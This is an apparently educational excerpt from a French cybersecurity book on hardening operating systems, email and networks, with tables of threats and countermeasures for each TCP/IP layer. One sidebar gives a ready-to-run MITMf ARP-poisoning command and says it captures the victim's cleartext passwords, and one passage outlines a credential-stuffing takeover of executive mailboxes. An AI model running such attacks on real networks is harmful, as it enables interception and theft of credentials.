			Durcir la configuration de SSH : SSH est un service très critique, car il constitue souvent la seule porte d’entrée réseau vers un serveur. Parmi les bonnes pratiques, citons les suivantes :

			- Vérifier les permissions des fichiers de configuration.

			- Désactiver la possibilité de se loguer en tant que root.

			- Activer exclusivement les suites cryptographiques (cipher suites) fortes.

			- Configurer l’expiration de session en cas d’inactivité.

			Sécuriser la création des mots de passe : il est possible de configurer plusieurs paramètres, par exemple :

			- Complexité, à travers le module pam_cracklib.so

			- Délai d’expiration, au plus 365 jours.

			- Interdiction de la réutilisation des cinq derniers mots de passe.

			- Nombre minimum de jours entre les changements de mot de passe, sept jours ou plus (le but, contre-intuitif, est d’empêcher les utilisateurs de modifier leur mot de passe à plusieurs reprises pour tenter de contourner les contrôles de réutilisation des mots de passe).

			Paramétrer de façon stricte la gestion des utilisateurs : les paramètres principaux à configurer sont :

			- Umask égal à 027 ou encore plus restrictif.

			

			- Délai d’expiration des sessions sur les consoles utilisateur (utile en cas d’oubli de verrouillage de l’écran quand on quitte son poste).

			- Login de root restreint à la console.

			- Restriction d’accès à la commande su.

			Vérifier les permissions des systèmes de fichiers : il est important de contrôler :

			- Les droits des fichiers /etc/passwd, /etc/shadow, /etc/group, /etc/gshadow, ainsi que leurs copies de sauvegarde /etc/passwd-, /etc/shadow-, /etc/group-, /etc/gshadow-

			- L’absence de fichiers ouverts en écriture pour tout le monde (world-writable).

			- La liste d’exécutables SUID et SGID.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- En général, les administrateurs système n’aiment pas SELinux, souvent en raison de mauvaises expériences de débogage, où ils n’ont pas trouvé mieux que de désactiver SELinux pour faire fonctionner les choses. C’est dommage, car SELinux apporte d’énormes bienfaits pour la sécurité.

							- Pour gérer le durcissement d’un parc important de serveurs Linux, il est incontournable d’utiliser des outils d’automatisation comme Ansible ; il est relativement simple de « scripter » la conformité aux guides de durcissement.

							- Les guides du CIS sont extrêmement riches ; il est acceptable d’adopter une approche de durcissement progressive, en partant d’un petit ensemble de règles.

							- Souvent, les entreprises n’installent pas d’antivirus sur les serveurs Linux, sous prétexte que les virus Linux sont très rares ; cette approche n’est pas recommandable et viole même certains référentiels de conformité qui imposent un déploiement généralisé d’antivirus.

						
					

				
			

			

			

			Sécurisation des systèmes Windows

			Dans cette section, nous examinons les meilleures pratiques de sécurisation spécifiques aux systèmes Windows :

			Définir des politiques pour les comptes utilisateurs : de préférence, ces politiques doivent être gérées de façon centralisée au niveau des contrôleurs de domaine. Les paramètres principaux à configurer sont :

			- Longueur minimale des mots de passe.

			- Complexité des mots de passe.

			- Limitation de la réutilisation des mots de passe.

			- Seuil de verrouillage des sessions en cas d’inactivité.

			- Politique de verrouillage des comptes en cas d’échecs d’authentification.

			Des techniques émergentes comme les politiques de mots de passe dynamiques, l’authentification sans mot de passe basée sur des identités biométriques ou des clés de sécurité matérielles sont également à prendre en considération.

			Limiter les droits d’accès : de façon générale, il faut suivre aussi strictement que possible le principe du moindre privilège. Cela demande une attention particulière sur les serveurs de fichiers. Les restrictions suivantes peuvent être facilement appliquées sur tout serveur :

			- Limiter l’accès réseau aux administrateurs et aux utilisateurs authentifiés.

			- Limiter l’accès local via la console aux administrateurs.

			- Activer le mode d’approbation d’administrateur pour les comptes administrateurs.

			- Désactiver les comptes invités (guests).

			Configurer les paramètres de sécurité : parmi les configurations à appliquer :

			- Placer une bannière d’avertissement avant la connexion. Cela peut aider à prévenir une attaque en indiquant à l’attaquant les conséquences de ses actions avant qu’elles ne se produisent.

			

			- Interdire aux utilisateurs la création et la connexion avec des comptes Microsoft, afin que l’organisation exerce un contrôle strict des accès.

			- Forcer les clients et serveurs SMB à toujours signer numériquement les communications.

			- Désactiver l’envoi de mots de passe non chiffrés aux serveurs SMB tiers.

			L’activation des Group Policies (GPO) permet un déploiement homogène des configurations de sécurité dans les environnements Active Directory.

			Restreindre les accès réseau : les principaux paramètres à configurer sont :

			- Ne pas autoriser l’énumération anonyme des comptes et des partages réseau.

			- Ne pas autoriser l’accès anonyme aux partages réseau.

			- Ne pas autoriser l’accès anonyme aux canaux nommés (named pipes).

			Sécuriser la configuration réseau : cela passe par les mesures suivantes :

			- Autoriser le système local à utiliser l’identité de l’ordinateur pour NTLM.

			- Configurer les types de chiffrement autorisés pour Kerberos, en ne conservant que les algorithmes réputés forts.

			- Ne pas stocker les hashes au niveau de LAN Manager et l’autoriser à utiliser exclusivement NTLMv2 comme méthode d’authentification, en refusant LM et NTLM.

			- Activer le pare-feu Windows pour les trois profils (domaine, privé, public) et le configurer de bloquer par défaut tout le trafic entrant.

			Configurer des restrictions de logiciels avec AppLocker ou SRP :

			- Mettre en place des restrictions d’exécution de programmes pour empêcher l’exécution de logiciels non approuvés, y compris les malwares.

			- AppLocker ou Software Restriction Policies (SRP) permettent de restreindre les applications autorisées à s’exécuter, basées sur des règles de chemin, de signature et de hachage.

			Limiter les droits d’administrateur local :

			

			- Restreindre les droits d’administrateur local pour les utilisateurs non privilégiés. Utiliser des comptes séparés pour l’administration et limiter l’accès aux administrateurs uniquement.

			- Utiliser le mode « administrateur protégé » (PAW) pour limiter les actions des comptes administratifs à des tâches strictement administratives.

			- Déployer et configurer LAPS17.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- Pour vérifier la sécurité d’un serveur Active Directory, il existe un outil gratuit et très simple d’utilisation : PingCastle18, capable de générer des rapports avec des recommandations faciles à traiter, ainsi qu’un score de sécurité.

							- La gestion des accès sur des gros serveurs de fichiers peut vite tourner au cauchemar et devenir inextricable : il est important de gérer les droits d’accès par groupe et non par simple utilisateur, en se forçant à être rigoureux et à garder le nombre de groupes sous contrôle.

						
					

				
			

			Sécurisation des systèmes macOS

			Dans cette section, nous examinons les meilleures pratiques de sécurisation spécifiques aux systèmes macOS.

			

			Gérer les préférences système

			Il est recommandé d’appliquer ces paramètres :

			- Désactiver le Bluetooth s’il n’y a aucun appareil couplé.

			- Activer le réglage automatique de l’heure et de la date.

			- Définir un intervalle d’inactivité de 20 minutes ou moins pour l’économiseur d’écran.

			Désactiver les partages

			Dans le but de limiter la surface d’attaque, il est prudent de désactiver :

			- Le partage de connexion Internet.

			- Le partage d’écran.

			- Le partage d’imprimante.

			- La connexion à distance via SSH.

			- Le partage de CD ou DVD.

			- Le partage multimédia.

			- Le partage Bluetooth.

			- Le partage de fichiers.

			- La gestion à distance.

			Configurer les paramètres de sécurité

			Parmi les configurations à appliquer :

			- Activer FileVault, qui sécurise chiffre automatiquement le volume de démarrage, en exigeant un mot de passe ou une clé de récupération pour y accéder.

			- S’assurer que tous les volumes de stockage APFS sont chiffrés.

			- Activer le pare-feu et sélectionner le mode furtif.

			- Désactiver le partage des analyses et améliorations avec Apple.

			- Désactiver le capteur infrarouge.

			- Activer la saisie clavier sécurisée dans l’application Terminal.

			Configurer iCloud et Time Machine

			Les professionnels de sécurité recommandent de :

			- Désactiver la synchronisation automatique sur iCloud de tous les fichiers dans les dossiers Documents et Bureau, surtout s’ils contiennent des données sensibles pour une entreprise.

			

			- Activer la sauvegarde automatique à travers Time Machine.

			- Activer le chiffrement des volumes de sauvegarde.

			Activer la fonctionnalité « Protection de l’intégrité du système »

			Il s’agit d’une fonctionnalité récente, qui permet d’empêcher tout logiciel dangereux de modifier les fichiers et dossiers protégés. Elle restreint le compte utilisateur root et limite les actions de l’utilisateur root sur les sections protégées du système d’exploitation.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							Il y a relativement peu d’exploits qui ciblent les systèmes macOS par rapport à Linux et Windows. Une recherche sur Exploit Database19 donne un ratio de ce type pour le nombre d’exploits disponibles en fonction du système d’exploitation :

							- macOs : N.

							- Linux : 30 × N.

							- Windows : 100 × N.

							Cependant, les chercheurs en sécurité s’intéressent de plus en plus à macOS, en raison de sa popularité grandissante.

						
					

				
			

			Sécurisation de la messagerie

			La messagerie électronique est certainement le vecteur d’attaque le plus exploité par les pirates. Sa sécurisation a une importance fondamentale.

			Une première question qui peut se poser pour une organisation est la suivante : est-il plus sûr de gérer sa messagerie on-premise avec des serveurs dédiés, ou de faire appel à un service SaaS comme Office 365 (récemment renommé Microsoft 365) ou Gmail ?

			

			Examinons les principaux avantages et inconvénients de chaque choix

			
				
					
					
				
				
					
							
							On-premise

						
					

					
							
							Avantages

						
							
							Inconvénients

						
					

					
							
							Pleine maîtrise de ses données

						
							
							Gestion des mises à jour et des vulnérabilités à la charge de l’organisation

						
					

					
							
							URL personnalisée pour accéder au webmail

						
							
							Moins de fonctionnalités de protection

						
					

					
							
							Autonomie complète dans la configuration

						
							
							Haute disponibilité à mettre en place par l’organisation

						
					

				
			

			
				
					
					
				
				
					
							
							SaaS

						
					

					
							
							Avantages

						
							
							Inconvénients

						
					

					
							
							Gestion des mises à jour et des vulnérabilités réalisée par l’éditeur de la solution

						
							
							Moins de contrôle sur ses données (localisation, confidentialité)

						
					

					
							
							Fonctionnalités de protection très riches

						
							
							URL générique pour accéder au webmail

						
					

					
							
							Haute disponibilité native

						
							
							Maîtrise incomplète de la configuration (l’éditeur conserve un contrôle exclusif sur certains paramètres)

						
					

				
			

			Tout compte fait, ma recommandation est d’utiliser une solution SaaS en absence de contraintes de conformité qui l’empêcherait, principalement en raison de la difficulté de gérer la sécurité d’un système de messagerie avec ses propres moyens. Cependant, l’activation de l’authentification multifacteur (MFA) est impérative, afin de ne pas tomber victime du scénario suivant, hélas très fréquent :

			

			- Un pirate cible une organisation et récupère les noms des dirigeants sur un réseau social professionnel (ex. : LinkedIn).

			- Le pirate se procure une énorme collection de mots de passe compromis, issus de plusieurs fuites de données, par exemple Collection #120.

			- Le pirate utilise cette collection pour trouver la trace d’éventuels mots de passe fuités, utilisés par le passé par les dirigeants de l’entreprise. Avec un peu de chance (pour le pirate…), il parviendra à trouver des correspondances.

			- Le pirate se connecte au webmail (par exemple à travers https://www.office.com/) et essaie de se connecter au compte des dirigeants à travers des variantes des anciens mots de passe compromis.

			- Si l’organisation n’a pas configuré la MFA, le pirate parviendra probablement à prendre le contrôle de la boîte de messagerie d’un dirigeant.

			- Une fois la boîte d’un dirigeant compromise, le pirate s’en servira pour attaquer les employés des services administratifs et comptables, leur demandant de réaliser des virements frauduleux.

			Les solutions de messagerie SaaS offrent des protections contre le malware et contre le phishing ; à titre d’exemple, Microsoft 365 inclut les services suivants :

			- Protection anti-malware, qui permet de bloquer les pièces jointes si elles présentent une menace.

			- Protection anti-hameçonnage, qui permet de protéger contre l’usurpation d’identité les utilisateurs considérés les plus importants (dirigeants, délégués du personnel, responsables RH, responsables techniques, etc.).

			- Chiffrement, qui peut opérer aussi bien sur les données au repos (stockées) que sur les données en transit (qui circulent dans le réseau).

			 Sécurisation du DNS

			

			Les protocoles suivants opèrent au niveau des DNS, mais ont pour but de sécuriser les communications par messagerie électronique :

			- SPF (Sender Policy Framework21) : il vise à réduire les possibilités d’utilisation d’une adresse mail factice ou usurpée dans le champ « expéditeur » d’un courriel (MAIL FROM dans la session SMTP), technique couramment utilisée pour le spam et le phishing. SPF prévoit une publication, dans le DNS, d’un enregistrement TXT qui indique quelles adresses IP sont autorisées ou interdites à envoyer du courrier pour le domaine considéré.

			- DKIM (DomainKeys Identified Mail22) : il permet une authentification fiable du nom de domaine de l’expéditeur d’un courrier électronique, à travers un mécanisme de signature cryptographique qui garantit également l’intégrité du message. La clé publique qui permet cette vérification est publiée par le serveur DNS de l’expéditeur.

			- DMARC (Domain-based Message Authentication, Reporting and Conformance23) : il implémente une surcouche d’authentification des messages électroniques, qui s’appuie sur SPF et DKIM. Les politiques DMARC sont publiées dans le DNS public du domaine comme enregistrement TXT et annoncent ce que le destinataire d’un courriel doit faire si ce dernier ne satisfait pas les mécaniques d’authentification SPF et DKIM.

			Modèles OSI et TCP/IP

			Modèles réseau

			La sécurité réseau est un sujet tellement vaste qu’il pourrait mériter à lui seul un livre complet. Dans le contexte de ce chapitre, nous l’étudions sous l’angle du modèle TCP/IP en quatre couches. Ce modèle, qui date de 1976 et aussi appelé « modèle Internet », s’est imposé au niveau pratique face au modèle OSI en sept couches, proposé par l’ISO en 1984.

			

			Cette image montre la correspondance entre les deux :

			
				
					[image: ]
				

			

			Examinons chaque couche du modèle TCP/IP, en étudiant pour chacune d’entre elles les menaces (attaques possibles) et les mesures de sécurité envisageables.

			Accès réseau

			

			Il s’agit de la couche du niveau le plus bas, composée de deux sous-couches, qui sont parfois présentées comme deux couches distinctes :

			Physique : chargée de la conversion entre bits et signaux électriques ou optiques, cette couche s’occupe de tout ce qui a trait au matériel : transmission, encodage, synchronisation entre cartes réseau. Elle définit les standards des câbles réseau, des fils de cuivre, du Wi-Fi, de la fibre optique ou de tout autre support électronique de transmission.

			Technologies : Bluetooth, DSL, couche physique Ethernet (10BASE-T,10BASE2, 10BASE5, etc.), GSM, SONET/SDH, Optical Transport Network, couche physique Wi-Fi (PLCP, PMD)…

			
				
					
					
				
				
					
							
							Menaces

						
							
							Mesures de sécurité

						
					

					
							
							Interception (tapping en anglais), qui peut être passive (atteinte à la confidentialité) ou active (atteinte à la confidentialité et à l’intégrité).

						
							
							Chiffrement de bout en bout, protection physique des câbles

						
					

					
							
							Jumeau maléfique : l’attaquant crée une copie du point d’accès sans fil ciblé, dans la même zone de réception et avec le même nom. Ensuite, il perturbe ou désactive le point d’accès légitime à travers un déni de service (DoS), forçant les utilisateurs à se connecter à jumeau maléfique.

						
							
							Wireless Intrusion Prevention Systems (WIPS)

						
					

					
							
							Bluejacking, bluesnarfing, bluebugging

						
							
							Appliquer les correctifs de sécurité, analyser le trafic, adopter les bonnes pratiques d’utilisation (ne pas utiliser son périphérique n’importe où et n’importe comment, ne pas accepter toutes les connexions, configurer les paramètres de sécurité au niveau maximal, etc.).

						
					

					
							
							Défaillance physique des équipements actifs ou des câbles

						
							
							Redondance, tolérance aux pannes, haute disponibilité

						
					

				
			

			

			Liaison : cette couche s’occupe de la livraison locale de trames entre dispositifs présents sur un même LAN, à travers une liaison physique. 

			Elle inclut à son tour deux sous-couches :

			- Contrôle d’accès au support (Media Access Control en anglais, ou MAC), qui s’occupe de :

			• Délimiter les trames envoyées afin que leur destinataire puisse en déterminer le début et la fin.

			• Détecter les erreurs de transmission, par exemple à l’aide d’une somme de contrôle (checksum) insérée par l’émetteur et vérifiée par le récepteur.

			• Insérer les adresses MAC de source et de destination dans chaque trame transmise.

			• Filtrer les trames reçues en fonction de leur adresse MAC de destination.

			• Contrôler l’accès au média physique lorsque celui-ci est partagé, notamment à travers la gestion des collisions.

			- Contrôle de la liaison logique (Logical Link Control en anglais, ou LLC), qui s’occupe de :

			• Multiplexer plusieurs protocoles de niveau plus haut (IP, IPX) sur la même liaison.

			• Gérer le contrôle de flux, en régulant le débit de l’émetteur en fonction de la capacité à absorber du récepteur.

			• Gérer les acquittements et les délais d’expiration (timeouts).

			Protocoles : ARP, CDP, DTP, HDLC, L2TP, MPLS, PPP, STP, VLAN…

			
				
					
					
				
				
					
							
							Menaces

						
							
							Mesures de sécurité

						
					

				
				
					
							
							ARP poisoning (ou spoofing), technique qui permet à l’attaquant de se positionner en « homme du milieu » (man in the middle) entre la machine cible et sa passerelle.

						
							
							Outils de détection et prévention du spoofing, soit intégrés aux hôtes, soit aux équipements réseau

						
					

					
							
							

							CAM overflow (ou MAC flooding), attaque à travers laquelle la table CAM d’un switch est saturée, le rendant potentiellement inutilisable ou le forçant à basculer en mode hub.

						
							
							Authentification 802.1X

						
					

					
							
							VLAN hopping, technique qui consiste à obtenir un accès à d’autres VLAN que celui où l’attaquant est situé, notamment à travers du switch spoofing ou du double tagging.

						
							
							Configuration sécurisée des ports des switches

						
					

					
							
							Attaques sur STP, par exemple envoi de trames dans lesquelles l’attaquant prétend être le root switch.

						
							
							Configurer Root Guard et BPDU Guard sur les switches.

						
					

				
			

			Internet

			Cette couche assure l’acheminement des paquets depuis une source vers une destination, en fonction des adresses IP. Elle remplit ces fonctions de base :

			- Pour les paquets sortants, sélectionner la passerelle et lui transmettre le paquet, en le passant à l’implémentation de couche liaison appropriée.

			- Pour les paquets entrants, les capturer et transmettre leur charge utile (payload) au protocole de couche de transport approprié.

			- Fournir une capacité de détection des erreurs.

			- Distribuer les informations de routage.

			Protocoles : IPv4, IPv6, IPsec, ICMP, IGMP, RIP, OSPF, etc.

			
				
					
					
				
				
					
							
							

							Menaces

						
							
							Mesures de sécurité

						
					

				
				
					
							
							Prise de contrôle du pare-feu par un attaquant

						
							
							Appliquer des processus robustes pour la gestion des mises à jour, des vulnérabilités et des changements.

						
					

					
							
							Abus des règles de filtrage trop permissives

						
							
							Configurer des ACL sur les routeurs et appliquer le principe du « refuser par défaut » sur les pare-feux.

						
					

					
							
							Attaque smurf, une forme d’attaque par rebond basée sur le spoofing d’IP dans des requêtes ICMP

						
							
							Filtrer les paquets ICMP.

						
					

					
							
							Ping de la mort, attaque LAND et attaque par fragmentation (teardrop), attaques de déni de service historiques, basées sur des implémentations OS défectueuses

						
							
							Utiliser des systèmes modernes.

						
					

					
							
							Sniffing de paquets

						
							
							Utiliser des protocoles avec chiffrement.

						
					

				
			

			Transport

			Cette couche implémente le multiplexage afin de permettre à plusieurs processus de communiquer sur le même réseau. Les informations sont divisées en segments associés à une application spécifique, à laquelle est associé un port. Les deux principaux protocoles utilisés sont :

			- Transmission Control Protocol (TCP), qui fonctionne en mode connecté et assure la fiabilité des transmissions, à travers les numéros de séquence associés aux segments, les sommes de contrôle et les acquittements.

			- User Datagram Protocol (UDP), qui fonctionne sans connexion, sans apporter de garantie quant à la livraison, l’ordre d’arrivée ou la duplication éventuelle des segments (appelés dans ce cas « datagrammes »).

			Compte tenu de cette description, on pourrait penser qu’UDP n’a aucun intérêt par rapport à TCP, mais sa « légèreté » le rend plus adapté aux applications multimédia, où la perte de quelques segments ne dégrade pas forcément l’expérience des utilisateurs. A contrario, TCP est préférable quand l’intégralité des données doit être transmise de façon fiable, quitte à gérer des retransmissions si nécessaire.

			

			On trouve souvent l’analogie qui compare UDP à une carte postale et TCP à une lettre recommandée avec accusé de réception.

			
				
					
					
				
				
					
							
							Menaces

						
							
							Mesures de sécurité

						
					

					
							
							SYN flood, attaque qui vise à provoquer un déni de service en submergeant la cible de requêtes SYN, sans compléter le three-way handshake TCP par des ACK.

						
							
							Système de prévention d’intrusion (IPS)

						
					

					
							
							UDP flood, attaque volumétrique par déni de service, qui inonde la victime de datagrammes UDP sur des ports aléatoires.

						
							
							Pare-feu

						
					

				
			

			Application

			Cette couche, la plus haute, contient une multitude de protocoles utilisés directement par les applications, notamment :

			- HTTP, HTTPS, SOAP pour les applications web.

			- SMTP, POP3, IMAP pour la messagerie.

			- SSH, Telnet, RDP pour l’administration à distance.

			- SMB/CIFS, NFS, FTP, TFTP pour le transfert de fichiers.

			- DHCP, DNS pour l’utilisation des réseaux.

			- SNMP pour la surveillance réseau.

			- H.323, SIP, RTSP pour les communications multimédia.

			
				
					
					
				
				
					
							
							

							Menaces

						
							
							Mesures de sécurité

						
					

					
							
							Serveur DHCP non autorisé (rogue DHCP), qui distribue par exemple une passerelle contrôlée par l’attaquant.

						
							
							DHCP snooping configuré sur les switches

						
					

					
							
							Empoisonnement du cache DNS (DNS poisoning), dans le but de rediriger les utilisateurs vers des sites frauduleux.

						
							
							DNSSEC

						
					

					
							
							Amplification DNS, une forme de déni de service distribué (DDoS), qui exploite une asymétrie dans la taille des requêtes et des réponses DNS.

						
							
							Solution de Anti-DDoS

						
					

					
							
							Attaques Web (injections SQL, cross-site scripting, etc.)

						
							
							Web Application Firewall (WAF), outils d’analyse de code source, formation à la sécurité des développeurs

						
					

					
							
							Abus de SNMP pour obtenir des informations techniques sensibles

						
							
							SNMP version 3

						
					

				
			

			

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							Afin de se familiariser avec les protocoles réseau et mieux comprendre leur sécurité, je recommande l’étude du trafic avec des logiciels sniffers comme Wireshark et tcpdump.

						
					

					
							
							

							Je recommande aussi de tester l’attaque d’ARP poisoning, bien sûr dans un environnement maîtrisé, car elle est très instructive et permet de faire prendre conscience de l’importance de chiffrer le trafic réseau même sur un réseau local.

							Il y a plusieurs moyens de le faire, par exemple à travers Scapy (cf. le très bon livre Black Hat Python), (b)ettercap, MITMf ou arpspoof de la suite dSniff.

							Avec MITMf (Man-in-the-middle framework), cela prend une ligne :

							- On installe MITMf : directement avec apt-get install mitmf sur une distribution Kali Linux, ou à partir de la page24 GitHub du projet.

							- En tant que root, on lance la commande : mitmf -i <nom_interface> --spoof --arp --gateway <ip_passerelle> --target <ip_victime> (par exemple : mitmf -i wlan 0 --spoof --arp --gateway 192.168.0.254 --target 192.168.0.45)

							- On en est désormais au milieu en on peut sniffer tout le trafic applicatif émanant de la victime, y compris tous les mots de passe en clair.

							Attention : ne vous amusez pas à faire ça dans votre réseau d’entreprise, vous risqueriez de perturber le trafic et de vous exposer à des sanctions.

						
					

				
			

			

			Sécurisation des réseaux

			Interconnexion de réseaux

			Une passerelle (gateway en anglais) est un dispositif d’interconnexion permettant de relier deux réseaux informatiques de types différents, par exemple un réseau local et le réseau Internet.

			Il existe trois types de passerelles :

			- Un répéteur est une passerelle de niveau 1.

			- Un pont est une passerelle de niveau 2.

			- Un routeur est une passerelle de niveau 3.

			L’interconnexion des réseaux est sensible d’un point de vue sécurité, car elle permet de relier des réseaux ayant un niveau de sécurité différent (par exemple Internet et le réseau d’entreprise), ou appartenant à des entités différentes. Cela demande l’introduction de dispositifs de filtrage réseau, notamment des pare-feux.

			Les pare-feux permettent une gestion granulaire des flux réseau, jusqu’à la couche transport (ports TCP et UDP), idéalement sur la base du principe de « refuser par défaut », qui prévoit de restreindre autant que possible les flux autorisés, aussi bien en entrée qu’en sortie.

			Les bonnes pratiques de sécurité prévoient que les flux soient répertoriés dans des matrices de flux (par exemple sur un fichier de type tableur, ou à travers des logiciels spécialisés), et que les matrices des flux soient utilisées comme source de vérité pour la configuration des pare-feux.

			Des revues sont dans ce cas nécessaires pour identifier des écarts entre les matrices des flux et la configuration implémentée dans les pare-feux.

			Les mauvaises pratiques les plus souvent constatées dans la gestion des flux sont les suivantes :

			- Règles trop permissives (incluant le mot-clé any).

			

			- Règles provisoires, introduites pour du débogage ou pour des tests en phase projet, qu’on oublie de retirer et qui restent donc en production.

			- Incohérence dans les règles (le cas particulier du shadowing fait référence à une règle générique qui « écrase » une règle plus spécifique, qui perd par conséquent toute utilité).

			Protéger le réseau interne d’Internet

			Du point de vue d’un réseau interne d’entreprise, Internet doit être vu comme un réseau potentiellement hostile, un peu comme l’espace public peut être considéré dangereux vis-à-vis d’une propriété privée.

			Pensons aux possibles mesures pour sécuriser une maison des intrusions : mur d’enceinte, alarme, portes blindées, serrures, caméras de surveillance.

			Par analogie, la protection d’un réseau privé repose sur le déploiement de plusieurs mesures de sécurité, en cohérence avec le principe de défense en profondeur :

			- Pare-feux périmétriques.

			- IDS (systèmes de détection d’intrusion).

			- IPS (systèmes de prévention d’intrusion).

			- WAF (pare-feux applicatifs destinés à la protection des applications web).

			- Systèmes anti-DDoS.

			- Passerelles antispam et anti-phishing.

			- Mise en place d’une ou plusieurs DMZ (zones réseau « tampon » qui hébergent les serveurs accessibles depuis Internet).

			Sécuriser le réseau interne

			

			L’approche traditionnelle de sécurisation d’un réseau interne repose sur la défense périmétrique évoquée dans le paragraphe précédent, qui accorde une confiance implicite au trafic interne à l’organisation. La limite de cette approche est la suivante : si un attaquant parvient à s’introduire dans le réseau interne (en franchissant les pare-feux externes, à travers du phishing, à travers une intrusion physique, etc.), il bénéficie d’une confiance implicite et peut se déplacer en toute impunité dans les systèmes internes (mouvement latéral).

			Ce défaut de l’approche traditionnelle a conduit à l’émergence de l’approche zero trust, qui refuse d’accorder la confiance implicite au trafic interne et complète la défense périmétrique à travers plusieurs techniques appliquées au réseau privé :

			- La microsegmentation, qui divise le réseau interne en plusieurs sous-réseaux (cloisonnement) séparés par des pare-feux, et qui prône en plus l’activation des pare-feux locaux au niveau des serveurs.

			- La gouvernance améliorée de l’identité : l’accès aux ressources est conditionné à l’identification de l’utilisateur et de l’équipement utilisé, du statut de l’actif et de facteurs environnementaux tels que l’heure et la géolocalisation de la demande de connexion.

			- L’utilisation des moyens d’authentification à l’état de l’art, notamment l’authentification à plusieurs facteurs (MFA), surtout pour les accès distants (via VPN).

			- Le renforcement des moyens de détection : les journaux de sécurité générés doivent être judicieusement configurés puis centralisés dans un SIEM, géré par une équipe de supervision de la sécurité (SOC) formée et expérimentée.

			La pratique du BYOD (Bring You Own Device), qui consiste à utiliser ses équipements personnels (smartphone, ordinateur portable, tablette électronique) dans un contexte professionnel, représente une menace pour la sécurité du réseau privé de l’organisation. En effet, les équipements personnels échappent au contrôle strict de l’organisation en termes de durcissement, gestion des mises à jour, traitement des vulnérabilités, restrictions dans l’installation de logiciels, déploiement d’anti-malware, journalisation, etc. Ces équipements personnels sont donc soumis à un fort risque de compromission, et peuvent contribuer à diffuser des virus à l’intérieur du réseau de l’organisation. L’ANSSI conseille d’interdire le BYOD, en dépit de sa popularité grandissante.

			

			Les mauvaises pratiques d’administration peuvent également mettre en danger la sécurité du réseau interne : le cas le plus évident est celui dans lequel les administrateurs utilisent le même poste de travail pour les usages bureautiques (messagerie, navigation Internet) et pour la connexion aux équipements réseau. Dans cette situation, un administrateur pourrait tomber victime d’un phishing et subir une compromission par un virus de type trojan ; l’attaquant pourrait ensuite en profiter pour prendre directement le contrôle des équipements réseau. L’ANSSI conseille donc de séparer les usages, en prévoyant des postes d’administration dédiés et durcis, idéalement sans aucun accès à Internet. Rappelons qu’il est important d’utiliser des comptes nominatifs et, si possible, un bastion d’administration, afin de garantir la traçabilité des opérations.

			Wi-Fi

			Il existe plusieurs mécanismes pour sécuriser un réseau Wi-Fi, avec différents degrés d’efficacité et de praticité.

			Masquage du SSID

			Cacher son SSID (Service Set Identifier) est une mesure très simple, qui est cependant très facile à contourner par attaquant un tant soit peu déterminé, à travers une simple observation des trames Wi-Fi.

			

			Filtrage MAC

			Le filtrage des adresses MAC, sur la base d’une liste blanche, peut sembler une mesure très efficace ; elle est pourtant facile à éluder par un attaquant, d’abord avec le sniffing d’une adresse valide puis à travers le spoofing de celle-ci.

			Wired Equivalent Privacy (WEP)

			WEP était la norme de chiffrement pour les réseaux Wi-Fi jusqu’au début des années 2000, moment où sa vulnérabilité a été démontrée. Il est désormais très rare de trouver un réseau Wi-Fi qui utilise WEP ; casser une clé WEP ne prend aujourd’hui que quelques dizaines de secondes.

			Wi-Fi Protected Access (WPA)

			On dénombre trois versions de WPA :

			- WPA, solution temporaire créée au début des années 2000 en réponse aux graves faiblesses de WEP.

			- WPA2, ratifié en 2004, qui comprend tous les éléments obligatoires de la norme 802.11i.

			- WPA3, validé en 2018, qui renforce le chiffrement par rapport à la version précédente.

			Il existe un niveau ultérieur de classification des technologies WPA :

			- WPA personnel, conçu pour les réseaux personnels ou de petites entreprises, qui fonctionne avec une PSK (Pre-Shared Key).

			- WPA entreprise, conçu pour les réseaux d’entreprise, qui demande que l’on installe un serveur d’authentification RADIUS (802.1x). Ce mécanisme offre plus de sécurité.

			Notons que l’utilisation du Wi-Fi est souvent interdite dans des zones réseau avec des exigences de sécurité très fortes.

			Dans les organisations qui autorisent l’utilisation du Wi-Fi, il est important d’inventorier régulièrement les points d’accès visibles, pour s’assurer qu’un attaquant n’ait pas introduit un point d’accès malveillant.

			

			Sécurité physique

			Les mesures de sécurisation des systèmes et des réseaux évoquées précédemment se focalisent sur les aspects logiques. Rappelons cependant que les attaquants n’hésitent pas à avoir recours à des techniques d’attaque incluant des moyens physiques.

			Une très bonne pratique de protection repose sur le principe de défense en profondeur au niveau physique, combinant plusieurs mesures parmi les suivantes :

			- Barrières de protection.

			- Contrôle d’accès mécanique (tourniquets, portails, portes, serrures).

			- Contrôle d’accès électronique (badgeuses, lecteurs biométriques, lecteurs de cartes à puce).

			- Détection d’intrusion (capteurs périmétriques, capteurs de mouvement, capteurs de contact, détecteurs de bris de verre).

			- Caméras de surveillance.

			- Agents de sécurité.

			- Systèmes de dissuasion (panneaux d’avertissement, éclairage de sécurité, marquage du périmètre).

			Cependant, les pirates parviennent parfois à contourner ces mesures de base grâce à des moyens relevant de l’ingénierie sociale. Nous y reviendrons dans le chapitre final de ce livre.
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			Chapitre 5

			Sécurité du cloud

			Concepts clés

			À partir du début de l’année 2007, le cloud computing a connu une montée en puissance progressive, pour s’imposer aujourd’hui comme un modèle incontournable de consommation de services informatiques.

			Propriétés

			Quelles sont les caractéristiques fondamentales du cloud ? Selon la publication 800-14525 du National Institute of Standards and Technology (NIST), elles sont au nombre de cinq :

			- Service à la demande : idéalement, le fournisseur met à disposition des clients une interface qui permet le libre-service (self-service) ou la génération de demandes de supports à destination d’un centre de service.

			- Accessibilité, large accès réseau : les services cloud peuvent être consommés à partir d’un simple navigateur web, que ce soit depuis un ordinateur, une tablette ou un téléphone.

			- Mutualisation des ressources : les services cloud se basent sur des pools de ressources (stockage, calcul, mémoire, réseau…) qui sont allouées plus ou moins dynamiquement aux consommateurs, selon une architecture multi-tenant.

			- Élasticité : les clients peuvent adapter leur consommation de ressources en fonction de leurs besoins, par exemple en augmentant le nombre de serveurs en correspondance des pics de charge, souvent de façon automatisée.

			- Service mesurable : l’utilisation des services fait l’objet d’un suivi très fin, sur lequel se base la facturation : plus on consomme, plus on paie et vice versa.

